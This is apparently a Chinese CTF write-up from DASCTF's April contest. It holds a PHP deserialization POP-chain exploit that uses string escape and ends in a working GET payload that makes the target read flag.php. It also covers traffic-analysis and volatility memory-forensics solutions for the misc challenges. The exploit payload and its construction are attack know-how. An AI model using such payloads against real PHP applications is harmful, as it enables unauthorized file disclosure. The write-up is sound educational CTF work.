安恒DASCTF 四月战 WP
web1
打开提就是源码审计
考点:反序列化POP链、反序列化字符串逃逸
show_source("index.php"); function write($data) { return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); } function read($data) { return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data); } class A{ public $username; public $password; function __construct($a, $b){ $this->username = $a; $this->password = $b; } } class B{ public $b = 'gqy'; function __destruct(){ $c = 'a'.$this->b; echo $c; } } class C{ public $c; function __toString(){ //flag.php echo file_get_contents($this->c); return 'nice'; } } $a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
通过大致分析我们发现最终利用点在C类中 我们先看一下C类 有个_toString() 它的意思是:当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用 然后我们需要让里面的$c变量的值变成flag.php 而这里的问题来了我们如何实例化它??? 我们如何触发__toString方法???
审计B类 B类有个__destruct 方法它的意思就是当对象被销毁时自动调用 方法内输出变量c
在B类有个字符串的拼接操作 $c='a'.$this->b 先执行$this->b时实例化了此处的$b属性在实例化时会触发C对象即 触发__toString方法打印出flag
但是问题又来了 如何实例化类B呢???
审计类A 类A通过GET传值实例化 所以我们要让类A来实例化类B 这样就构成了POP链
先来大致构造下程序逻辑
模拟POP链 我们的想法是反序列化后首先通过A实例化了B 而比里面的$b里面的b变量是C 实例化了C类 C类被实例化执行__toString()函数 也就输出了我们的falg
得到
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
得到了序列化的值 我们此时当然通过这个当做payload穿进去肯定是不行的因为不符合规范 我们再审计看看有没有方法构造长度膨胀让不需要的部分进行逃逸
测试传入1和2 这个是正常的序列化所以我们要构造这样的格式序列化
所以我们得构造能让蓝色部分的长度等于红色部分 这样我们绿的的部分就可以进行正常拼接了 这样的一个序列化字符串
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"2";}
我们可以通过这两个方法实现 \0\0\0是3个字符串二 chr(0)*chr(0)==空字符*空字符 所以是三个字符 所以我们数一下上面的红色序列化代码的部分的字符串是多少个 可以使用strlen()直接计算或者数吧。。。 我数了一下24个 所以我们要通过\0\0\0传入username让它转换成 chr(0)*chr(0) 没传一个\0\0\0 上面蓝色的部分旧货多空出来3就会吃掉红色部分3个字符串 3X8=24 所以我们需要传入8个\0\0\0
最终payload:
a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
分析下内部的过程
先构建A->B->C的链条 传入payload。。
$a = new A('\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}'); print_r(serialize($a)); print_r(write(serialize($a))); print_r(read(write(serialize($a)))); print_r(unserialize(read(write(serialize($a)))));
在我们传入payload首先进行序列化
O:1:"A":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:73:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}
之后要经过write()函数 此时我们红色部分为48个字符串
O:1:"A":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:73:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}
之后要经过read()函数进行替换 此时红色部分看起来像8个字符串实际上是每个字符左右两边都有空字符(chr(0))所以是24个字符串 我们继续看我们的蓝色部分为48那就说明它还会继续往后面匹配24个字符直到达到48为止 也就是匹配我们的橙色部分 这样剩下的拼接后就能正常的进行反序列化 输出我们的flag了。
O:1:"A":2:{s:8:"username";s:48:"********";s:8:"password";s:73:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}
web2
1
MISC-6G还远吗?
下载几十秒 终止下载 记事本打开查找flag即可
MISC-blueshark
Can you dig something you want out from the sea-colored beautiful shark?
流量分析emm 完全不会直接看wp走起 最后发现MISC好简单 分又多web好难分又低 这些都不是理由 是我太垃圾了hhhh
这时一个蓝牙协议流量
Ctrl+F 搜索压缩包 7z.....
选中7z开头即可导出 文件->导出分组字节流(Ctrl+Shift+x) 后缀为7z即可
压缩包需要密码 看到里面文件信息有提示信息 搜索pin
得到密码14185 解开压缩包 得到flag
MISC-keyboard
解压压缩包得到两个文件
raw文件即镜像文件 wp说是内存取证题
使用volatility提取文件
#查看镜像版本 volatility -f Keyboard.raw imageinfo #直接定向检索txt文件 volatility -f Keyboard.raw --profile=Win7SP0x64 filescan | grep -E 'txt' #将其dump下来 volatility -f Keyboard.raw --profile=Win7SP0x64 dumpfiles -Q 0x000000003d700880 -D ./
是一个dat为后缀的文件
使用strings命令可以查看内容
得到如下信息
红色部分就是我们的密文 红色上面的哪一行也提示了在ctfwikiCRYPTO中 所以解密去。。
倒数第二行提示了密码为大写
2020- 3-29 22:35:25
[BP][BP][BP][BP]hhhhh flag is not n[BP]here
2020- 3-29 22:35:30
2020- 3-29 22:36:41
ctfwikiCRYPTO ABC
CTKQEKNHZHQLLVGKROLATNWGQKRRKQGWNTA
2020- 3-29 22:37:23
[BP][BP]decrypto hou xiao xie geng[BP][BP] yi kan chu
2020- 3-29 22:39:24
But the password is in uppercase
2020- 3-29 22:38:55
我们按照这个来解密。。。
得到明文
1. 大写:VERACRYPTPASSWORDISKEYBOARDDRAOBYEK
2. 小写:veracryptpasswordiskeyboarddraobyek
意思是VeraCrypt的密码为keyboarddraobyek 之前的txt中还提示了密码为大写
使用VeraCrypt这个工具挂载加密卷 密码是刚才解密出的密文
.....
内存取证工具volatility用法与实战
参考学习
http://www.fzwjscj.xyz/index.php/archives/25/#misc3
https://shimo.im/docs/9p6WDq3YchjTycGh
MISC-AWDshell
1
MISC-blueshark
1